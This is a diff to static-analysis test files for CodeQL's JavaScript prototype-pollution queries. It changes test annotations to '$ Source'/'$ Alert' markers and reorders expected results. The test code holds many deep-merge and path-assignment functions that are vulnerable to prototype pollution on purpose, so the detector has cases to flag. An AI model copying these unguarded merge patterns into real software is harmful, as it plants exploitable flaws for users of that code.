diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js
index 1953ba57f00b..ef5ba9691fec 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/examples/PrototypePollutingFunction.js
@@ -1,10 +1,10 @@
 function merge(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (!src.hasOwnProperty(key)) continue;
         if (isObject(dst[key])) {
             merge(dst[key], src[key]);
         } else {
-            dst[key] = src[key];
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js
index c7285a3ac1bd..14d7a4e65196 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/path-assignment.js
@@ -5,14 +5,14 @@ function isSafe(key) {
 function assignToPath(target, path, value) {
     let keys = path.split('.');
     for (let i = 0; i < keys.length; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         if (i < keys.length - 1) {
             if (!target[key]) {
                 target[key] = {};
             }
             target = target[key];
         } else {
-            target[key] = value; // NOT OK
+            target[key] = value; // $ Alert
         }
     }
 }
@@ -28,7 +28,7 @@ function assignToPathSafe(target, path, value) {
             }
             target = target[key];
         } else {
-            target[key] = value; // OK
+            target[key] = value;
         }
     }
 }
@@ -38,10 +38,10 @@ function assignToPathAfterLoop(target, path, value) {
     let keys = path.split('.');
     let i;
     for (i = 0; i < keys.length - 1; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         target = target[key] = target[key] || {};
     }
-    target[keys[i]] = value; // NOT OK
+    target[keys[i]] = value; // $ Alert
 }
 
 function splitHelper(path, sep) {
@@ -55,18 +55,18 @@ function assignToPathWithHelper(target, path, value, sep) {
     let keys = splitHelper(path, sep)
     let i;
     for (i = 0; i < keys.length - 1; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         target = target[key] = target[key] || {};
     }
-    target[keys[i]] = value; // NOT OK
+    target[keys[i]] = value; // $ Alert
 }
 
 function spltOnRegexp(target, path, value) {
     let keys = path.split(/\./);
     let i;
     for (i = 0; i < keys.length - 1; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         target = target[key] = target[key] || {};
     }
-    target[keys[i]] = value; // NOT OK
+    target[keys[i]] = value; // $ Alert
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js
index 14a0a19fb626..dcce195526ac 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingFunction/tests.js
@@ -1,28 +1,28 @@
 import dummy from 'somewhere';
 
 function copyUsingForIn(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (dst[key]) {
             copyUsingForIn(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
 
 function copyUsingKeys(dst, src) {
-    Object.keys(src).forEach(key => {
+    Object.keys(src).forEach(key => { // $ Source
         if (dst[key]) {
             copyUsingKeys(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     });
 }
 
 function copyRest(dst, ...sources) {
     for (let source of sources) {
-        for (let key in source) {
+        for (let key in source) { // $ Source
             copyRestAux(dst, source[key], key);
         }
     }
@@ -33,28 +33,28 @@ function copyRestAux(dst, value, key) {
     if (dstValue) {
         copyRest(dstValue, value);
     } else {
-        dst[key] = value; // NOT OK
+        dst[key] = value; // $ Alert
     }
 }
 
 function copyProtoGuarded(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (key === "__proto__") continue;
         if (dst[key]) {
             copyProtoGuarded(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
 
 function copyCtorGuarded(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (key === "constructor") continue;
         if (dst[key]) {
             copyCtorGuarded(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
@@ -65,7 +65,7 @@ function copyDoubleGuarded(dst, src) {
         if (dst[key]) {
             copyDoubleGuarded(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
@@ -80,7 +80,7 @@ function copyComplex(dst, src) {
             if (dst[key]) {
                 copyComplex(dst[key], src[key]);
             } else {
-                dst[key] = src[key]; // OK
+                dst[key] = src[key];
             }
         }
     }
@@ -93,20 +93,20 @@ function copyHasOwnProperty(dst, src) {
         if (dst.hasOwnProperty(key)) {
             copyHasOwnProperty(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
 
 function copyHasOwnPropertyBad(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         // Guarding using src.hasOwnProperty is *not* effective,
         // since '__proto__' and 'constructor' are own properties in the payload.
         if (!src.hasOwnProperty(key)) continue; // Not safe
         if (dst[key]) {
             copyHasOwnPropertyBad(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
@@ -118,21 +118,21 @@ function copyHasOwnPropertyTearOff(dst, src) {
         if (_hasOwnProp.call(dst, key)) {
             copyHasOwnPropertyTearOff(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
 
 function shallowExtend(dst, src) {
     for (let key in src) {
-        dst[key] = src[key]; // OK
+        dst[key] = src[key];
     }
 }
 
 function transform(src, fn) {
     if (typeof src !== 'object') return fn(src);
     for (let key in src) {
-        src[key] = transform(src[key], fn); // OK
+        src[key] = transform(src[key], fn);
     }
     return src;
 }
@@ -141,17 +141,17 @@ function clone(src) {
     if (typeof src !== 'object') return src;
     let result = {};
     for (let key in src) {
-        result[key] = clone(src[key]); // OK
+        result[key] = clone(src[key]);
     }
     return result;
 }
 
 function higherOrderRecursion(dst, src, callback) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (dst[key]) {
             callback(dst, src, key);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
@@ -168,7 +168,7 @@ function instanceofObjectGuard(dst, src) {
         if (typeof dstValue === 'object' && dstValue instanceof Object) {
             instanceofObjectGuard(dstValue, src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
@@ -181,7 +181,7 @@ function copyWithBlacklist(dst, src) {
         if (dst[key]) {
             copyWithBlacklist(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
@@ -189,11 +189,11 @@ function copyWithBlacklist(dst, src) {
 function copyUsingPlainForLoop(dst, src) {
     let keys = Object.keys(src);
     for (let i = 0; i < keys.length; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         if (dst[key]) {
             copyUsingPlainForLoop(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
@@ -205,7 +205,7 @@ function copyUsingPlainForLoopNoAlias(dst, src) {
         if (dst[key]) {
             copyUsingPlainForLoopNoAlias(dst[keys[i]], src[keys[i]]);
         } else {
-            dst[keys[i]] = src[keys[i]]; // NOT OK - but not flagged
+            dst[keys[i]] = src[keys[i]]; // $ MISSING: Alert
         }
     }
 }
@@ -214,7 +214,7 @@ function deepSet(map, key1, key2, value) {
     if (!map[key1]) {
         map[key1] = Object.create(null);
     }
-    map[key1][key2] = value; // OK
+    map[key1][key2] = value;
 }
 
 function deepSetCaller(data) {
@@ -230,12 +230,12 @@ function deepSetBad(map, key1, key2, value) {
     if (!map[key1]) {
         map[key1] = Object.create(null);
     }
-    map[key1][key2] = value; // NOT OK - object literal can flow here
+    map[key1][key2] = value; // $ Alert - object literal can flow here
 }
 
 function deepSetCallerBad(data) {
     let map1 = Object.create(null);
-    for (let key in data) {
+    for (let key in data) { // $ Source
         deepSetBad({}, key, 'x', data[key]); // oops
         deepSetBad(map1, 'x', key, data[key]);
     }
@@ -254,7 +254,7 @@ function mergeWithCopy(dst, src) {
     let result = maybeCopy(dst);
     for (let key in src) {
         if (src.hasOwnProperty(key)) {
-            result[key] = mergeWithCopy(dst[key], src[key]); // OK
+            result[key] = mergeWithCopy(dst[key], src[key]);
         }
     }
     return result;
@@ -262,22 +262,22 @@ function mergeWithCopy(dst, src) {
 
 function copyUsingEntries(dst, src) {
     Object.entries(src).forEach(entry => {
-        let key = entry[0];
+        let key = entry[0]; // $ Source
         let value = entry[1];
         if (dst[key]) {
             copyUsingEntries(dst[key], value);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     });
 }
 
 function copyUsingReflect(dst, src) {
-    Reflect.ownKeys(src).forEach(key => {
+    Reflect.ownKeys(src).forEach(key => { // $ Source
         if (dst[key]) {
             copyUsingReflect(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     });
 }
@@ -290,7 +290,7 @@ function copyWithPath(dst, src, path) {
             } else {
                 let target = {};
                 target[path] = {};
-                target[path][key] = src[key]; // OK
+                target[path][key] = src[key];
                 doSomething(target);
             }
         }
@@ -299,34 +299,34 @@ function copyWithPath(dst, src, path) {
 }
 
 function typeofObjectTest(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (src.hasOwnProperty(key)) {
             let value = src[key];
             if (dst[key] && typeof value === 'object') {
                 typeofObjectTest(dst[key], value);
             } else {
-                dst[key] = value; // NOT OK
+                dst[key] = value; // $ Alert
             }
         }
     }
 }
 
 function mergeRephinementNode(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (src.hasOwnProperty(key)) {
             if (key === key && key === key) continue; // Create a phi-node of refinement nodes
             let value = src[key];
             if (dst[key] && typeof value === 'object') {
                 mergeRephinementNode(dst[key], value);
             } else {
-                dst[key] = value; // NOT OK
+                dst[key] = value; // $ Alert
             }
         }
     }
 }
 
 function mergeSelective(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (src.hasOwnProperty(key)) {
             // Only 'prefs' is merged recursively
             if (key in dst && key !== 'prefs') {
@@ -335,7 +335,7 @@ function mergeSelective(dst, src) {
             if (dst[key]) {
                 mergeSelective(dst[key], src[key]);
             } else {
-                dst[key] = src[key]; // OK
+                dst[key] = src[key]; // $ Alert
             }
         }
     }
@@ -347,14 +347,14 @@ function isNonArrayObject(item) {
 
 function mergePlainObjectsOnly(target, source) {
     if (isNonArrayObject(target) && isNonArrayObject(source)) {
-        Object.keys(source).forEach(key => {
+        Object.keys(source).forEach(key => { // $ Source
             if (key === '__proto__') {
                 return;
             }
             if (isNonArrayObject(source[key]) && key in target) {
                 target[key] = mergePlainObjectsOnly(target[key], source[key], options);
             } else {
-                target[key] = source[key]; // OK - but flagged anyway due to imprecise barrier for captured variable
+                target[key] = source[key]; // $ SPURIOUS: Alert - due to imprecise barrier for captured variable
             }
         });
     }
@@ -370,7 +370,7 @@ function mergePlainObjectsOnlyNoClosure(target, source) {
             if (isNonArrayObject(source[key]) && key in target) {
                 target[key] = mergePlainObjectsOnlyNoClosure(target[key], source[key], options);
             } else {
-                target[key] = source[key]; // OK
+                target[key] = source[key];
             }
         }
     }
@@ -378,7 +378,7 @@ function mergePlainObjectsOnlyNoClosure(target, source) {
 }
 
 function forEachProp(obj, callback) {
-    for (let key in obj) {
+    for (let key in obj) { // $ Source
         if (obj.hasOwnProperty(key)) {
             callback(key, obj[key]);
         }
@@ -390,7 +390,7 @@ function mergeUsingCallback(dst, src) {
         if (dst[key]) {
             mergeUsingCallback(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK - but not currently flagged
+            dst[key] = src[key]; // $ MISSING: Alert
         }
     });
 }
@@ -400,7 +400,7 @@ function mergeUsingCallback2(dst, src) {
         if (dst[key]) {
             mergeUsingCallback2(dst[key], value);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     });
 }
@@ -410,13 +410,13 @@ function wrappedRead(obj, key) {
 }
 
 function copyUsingWrappedRead(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         let value = wrappedRead(src, key);
         let target = wrappedRead(dst, key);
         if (target) {
             copyUsingWrappedRead(target, value);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     }
 }
@@ -427,13 +427,13 @@ function almostSafeRead(obj, key) {
 }
 
 function copyUsingAlmostSafeRead(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         let value = almostSafeRead(src, key);
         let target = almostSafeRead(dst, key);
         if (target) {
             copyUsingAlmostSafeRead(target, value);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     }
 }
@@ -450,43 +450,43 @@ function copyUsingSafeRead(dst, src) {
         if (target) {
             copyUsingSafeRead(target, value);
         } else {
-            dst[key] = value; // OK
+            dst[key] = value;
         }
     }
 }
 
 function copyUsingForOwn(dst, src) {
     let forOwn = import('for-own');
-    forOwn(src, (value, key, o) => {
+    forOwn(src, (value, key, o) => { // $ Source
         if (dst[key]) {
             copyUsingForOwn(dst[key], src[key]);
         } else {
             // Handle a few different ways to access src[key]
-            if (something()) dst[key] = src[key]; // NOT OK
-            if (something()) dst[key] = o[key]; // NOT OK
-            if (something()) dst[key] = value; // NOT OK
+            if (something()) dst[key] = src[key]; // $ Alert
+            if (something()) dst[key] = o[key]; // $ Alert
+            if (something()) dst[key] = value; // $ Alert
         }
     });
 }
 
 function copyUsingUnderscoreOrLodash(dst, src) {
-    _.each(src, (value, key, o) => {
+    _.each(src, (value, key, o) => { // $ Source
         if (dst[key]) {
             copyUsingUnderscoreOrLodash(dst[key], src[key]);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     });
 }
 
 let isPlainObject = require('is-plain-object');
 function copyPlainObject(dst, src) {
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (key === '__proto__') continue;
         if (dst[key] && isPlainObject(src)) {
             copyPlainObject(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK - but flagged anyway
+            dst[key] = src[key]; // $ SPURIOUS: Alert
         }
     }
 }
@@ -499,7 +499,7 @@ function copyPlainObject2(dst, src) {
         if (isPlainObject(target) && isPlainObject(value)) {
             copyPlainObject2(target, value);
         } else {
-            dst[key] = value; // OK
+            dst[key] = value;
         }
     }
 }
@@ -508,13 +508,13 @@ function copyPlainObject2(dst, src) {
 function usingDefineProperty(dst, src) {
     let keys = Object.keys(src);
     for (let i = 0; i < keys.length; ++i) {
-        let key = keys[i];
+        let key = keys[i]; // $ Source
         if (dst[key]) {
             usingDefineProperty(dst[key], src[key]);
         } else {
             var descriptor = {};
             descriptor.value = src[key];
-            Object.defineProperty(dst, key, descriptor);  // NOT OK
+            Object.defineProperty(dst, key, descriptor);  // $ Alert
         }
     }
 }
@@ -522,11 +522,11 @@ function usingDefineProperty(dst, src) {
 function copyUsingForInAndRest(...args) {
     const dst = args[0];
     const src = args[1];
-    for (let key in src) {
+    for (let key in src) { // $ Source
         if (dst[key]) {
             copyUsingForInAndRest(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // NOT OK
+            dst[key] = src[key]; // $ Alert
         }
     }
 }
@@ -535,7 +535,7 @@ function forEachPropNoTempVar(obj, callback) {
     const keys = Object.keys(obj)
     const len = keys.length
     for (let i = 0; i < len; i++) {
-        callback(keys[i], obj[keys[i]])
+        callback(keys[i], obj[keys[i]]) // $ Source
     }
 }
 
@@ -544,7 +544,7 @@ function mergeUsingCallback3(dst, src) {
         if (dst[key]) {
             mergeUsingCallback3(dst[key], value);
         } else {
-            dst[key] = value; // NOT OK
+            dst[key] = value; // $ Alert
         }
     });
 }
@@ -556,7 +556,7 @@ function copyHasOwnProperty2(dst, src) {
         if (Object.hasOwn(dst, key)) {
             copyHasOwnProperty2(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
@@ -568,7 +568,7 @@ function copyHasOwnProperty3(dst, src) {
         if (_.has(dst, key)) {
             copyHasOwnProperty3(dst[key], src[key]);
         } else {
-            dst[key] = src[key]; // OK
+            dst[key] = src[key];
         }
     }
 }
@@ -598,11 +598,11 @@ function captureBarrier(obj) {
 }
 
 function merge_captureBarrier(dest, source) {
-    for (const key of Object.keys(source)) {
+    for (const key of Object.keys(source)) { // $ Source
         if (dest[key]) {
             merge_captureBarrier(dest[key], source[key]);
         } else {
-            dest[key] = captureBarrier(source[key]); // OK - but currently flagged anyway
+            dest[key] = captureBarrier(source[key]); // $ SPURIOUS: Alert
         }
     }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected
index f687007db4dd..8b08f2a20afd 100644
--- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingMergeCall/PrototypePollutingMergeCall.expected
@@ -1,15 +1,46 @@
+#select
+| angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | angularmerge.js:1:30:1:34 | event | angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | angularmerge.js:1:30:1:34 | event | user-controlled value | angularmerge.js:2:3:2:43 | angular ... .data)) | angular |
+| src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
+| src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... e\\n    } | src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... e\\n    } | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
+| src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... g\\n    } | src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... g\\n    } | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
+| webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | webix/webix.html:3:34:3:38 | event | webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.html:3:34:3:38 | event | user-controlled value | webix/webix.html:4:9:4:48 | webix.e ... .data)) | webix |
+| webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | webix/webix.html:3:34:3:38 | event | webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.html:3:34:3:38 | event | user-controlled value | webix/webix.html:5:9:5:46 | webix.c ... .data)) | webix |
+| webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | webix/webix.js:3:30:3:34 | event | webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.js:3:30:3:34 | event | user-controlled value | webix/webix.js:4:5:4:44 | webix.e ... .data)) | webix |
+| webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | webix/webix.js:3:30:3:34 | event | webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | webix/webix.js:3:30:3:34 | event | user-controlled value | webix/webix.js:5:5:5:42 | webix.c ... .data)) | webix |
+edges
+| angularmerge.js:1:30:1:34 | event | angularmerge.js:2:32:2:36 | event | provenance |  |
+| angularmerge.js:2:32:2:36 | event | angularmerge.js:2:32:2:41 | event.data | provenance |  |
+| angularmerge.js:2:32:2:41 | event.data | angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | provenance | Config |
+| src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... e\\n    } | provenance |  |
+| src-vulnerable-lodash/tst.js:14:9:16:5 | opts [thing] | src-vulnerable-lodash/tst.js:18:16:18:19 | opts [thing] | provenance |  |
+| src-vulnerable-lodash/tst.js:14:16:16:5 | {\\n      ... e\\n    } [thing] | src-vulnerable-lodash/tst.js:14:9:16:5 | opts [thing] | provenance |  |
+| src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | src-vulnerable-lodash/tst.js:14:16:16:5 | {\\n      ... e\\n    } [thing] | provenance |  |
+| src-vulnerable-lodash/tst.js:18:16:18:19 | opts [thing] | src-vulnerable-lodash/tst.js:18:16:18:25 | opts.thing | provenance |  |
+| src-vulnerable-lodash/tst.js:18:16:18:25 | opts.thing | src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... g\\n    } | provenance |  |
+| webix/webix.html:3:34:3:38 | event | webix/webix.html:4:37:4:41 | event | provenance |  |
+| webix/webix.html:3:34:3:38 | event | webix/webix.html:5:35:5:39 | event | provenance |  |
+| webix/webix.html:4:37:4:41 | event | webix/webix.html:4:37:4:46 | event.data | provenance |  |
+| webix/webix.html:4:37:4:46 | event.data | webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | provenance | Config |
+| webix/webix.html:5:35:5:39 | event | webix/webix.html:5:35:5:44 | event.data | provenance |  |
+| webix/webix.html:5:35:5:44 | event.data | webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | provenance | Config |
+| webix/webix.js:3:30:3:34 | event | webix/webix.js:4:33:4:37 | event | provenance |  |
+| webix/webix.js:3:30:3:34 | event | webix/webix.js:5:31:5:35 | event | provenance |  |
+| webix/webix.js:4:33:4:37 | event | webix/webix.js:4:33:4:42 | event.data | provenance |  |
+| webix/webix.js:4:33:4:42 | event.data | webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | provenance | Config |
+| webix/webix.js:5:31:5:35 | event | webix/webix.js:5:31:5:40 | event.data | provenance |  |
+| webix/webix.js:5:31:5:40 | event.data | webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | provenance | Config |
 nodes
 | angularmerge.js:1:30:1:34 | event | semmle.label | event |
 | angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | semmle.label | JSON.pa ... t.data) |
 | angularmerge.js:2:32:2:36 | event | semmle.label | event |
 | angularmerge.js:2:32:2:41 | event.data | semmle.label | event.data |
 | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | semmle.label | req.query.foo |
-| src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... K\\n    } | semmle.label | {\\n      ... K\\n    } |
+| src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... e\\n    } | semmle.label | {\\n      ... e\\n    } |
 | src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | semmle.label | req.query.value |
 | src-vulnerable-lodash/tst.js:14:9:16:5 | opts [thing] | semmle.label | opts [thing] |
 | src-vulnerable-lodash/tst.js:14:16:16:5 | {\\n      ... e\\n    } [thing] | semmle.label | {\\n      ... e\\n    } [thing] |
 | src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | semmle.label | req.query.value |
-| src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... K\\n    } | semmle.label | {\\n      ... K\\n    } |
+| src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... g\\n    } | semmle.label | {\\n      ... g\\n    } |
 | src-vulnerable-lodash/tst.js:18:16:18:19 | opts [thing] | semmle.label | opts [thing] |
 | src-vulnerable-lodash/tst.js:18:16:18:25 | opts.thing | semmle.label | opts.thing |
 | webix/webix.html:3:34:3:38 | event | semmle.label | event |
@@ -26,35 +57,4 @@ nodes
 | webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | semmle.label | JSON.pa ... t.data) |
 | webix/webix.js:5:31:5:35 | event | semmle.label | event |
 | webix/webix.js:5:31:5:40 | event.data | semmle.label | event.data |
-edges
-| angularmerge.js:1:30:1:34 | event | angularmerge.js:2:32:2:36 | event | provenance |  |
-| angularmerge.js:2:32:2:36 | event | angularmerge.js:2:32:2:41 | event.data | provenance |  |
-| angularmerge.js:2:32:2:41 | event.data | angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | provenance | Config |
-| src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... K\\n    } | provenance |  |
-| src-vulnerable-lodash/tst.js:14:9:16:5 | opts [thing] | src-vulnerable-lodash/tst.js:18:16:18:19 | opts [thing] | provenance |  |
-| src-vulnerable-lodash/tst.js:14:16:16:5 | {\\n      ... e\\n    } [thing] | src-vulnerable-lodash/tst.js:14:9:16:5 | opts [thing] | provenance |  |
-| src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | src-vulnerable-lodash/tst.js:14:16:16:5 | {\\n      ... e\\n    } [thing] | provenance |  |
-| src-vulnerable-lodash/tst.js:18:16:18:19 | opts [thing] | src-vulnerable-lodash/tst.js:18:16:18:25 | opts.thing | provenance |  |
-| src-vulnerable-lodash/tst.js:18:16:18:25 | opts.thing | src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... K\\n    } | provenance |  |
-| webix/webix.html:3:34:3:38 | event | webix/webix.html:4:37:4:41 | event | provenance |  |
-| webix/webix.html:3:34:3:38 | event | webix/webix.html:5:35:5:39 | event | provenance |  |
-| webix/webix.html:4:37:4:41 | event | webix/webix.html:4:37:4:46 | event.data | provenance |  |
-| webix/webix.html:4:37:4:46 | event.data | webix/webix.html:4:26:4:47 | JSON.pa ... t.data) | provenance | Config |
-| webix/webix.html:5:35:5:39 | event | webix/webix.html:5:35:5:44 | event.data | provenance |  |
-| webix/webix.html:5:35:5:44 | event.data | webix/webix.html:5:24:5:45 | JSON.pa ... t.data) | provenance | Config |
-| webix/webix.js:3:30:3:34 | event | webix/webix.js:4:33:4:37 | event | provenance |  |
-| webix/webix.js:3:30:3:34 | event | webix/webix.js:5:31:5:35 | event | provenance |  |
-| webix/webix.js:4:33:4:37 | event | webix/webix.js:4:33:4:42 | event.data | provenance |  |
-| webix/webix.js:4:33:4:42 | event.data | webix/webix.js:4:22:4:43 | JSON.pa ... t.data) | provenance | Config |
-| webix/webix.js:5:31:5:35 | event | webix/webix.js:5:31:5:40 | event.data | provenance |  |
-| webix/webix.js:5:31:5:40 | event.data | webix/webix.js:5:20:5:41 | JSON.pa ... t.data) | provenance | Config |
 subpaths
-#select
-| angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | angularmerge.js:1:30:1:34 | event | angularmerge.js:2:21:2:42 | JSON.pa ... t.data) | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | angularmerge.js:1:30:1:34 | event | user-controlled value | angularmerge.js:2:3:2:43 | angular ... .data)) | angular |
-| src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:7:17:7:29 | req.query.foo | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
-| src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... K\\n    } | src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | src-vulnerable-lodash/tst.js:10:17:12:5 | {\\n      ... K\\n    } | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:11:16:11:30 | req.query.value | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
-| src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... K\\n    } | src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | src-vulnerable-lodash/tst.js:17:17:19:5 | {\\n      ... K\\n    } | Prototype pollution caused by merging a $@ using a vulnerable version of $@. | src-vulnerable-lodash/tst.js:15:14:15:28 | req.query.value | user-controlled value | src-vulnerable-lodash/package.json:3:19:3:26 | "4.17.4" | lodash |
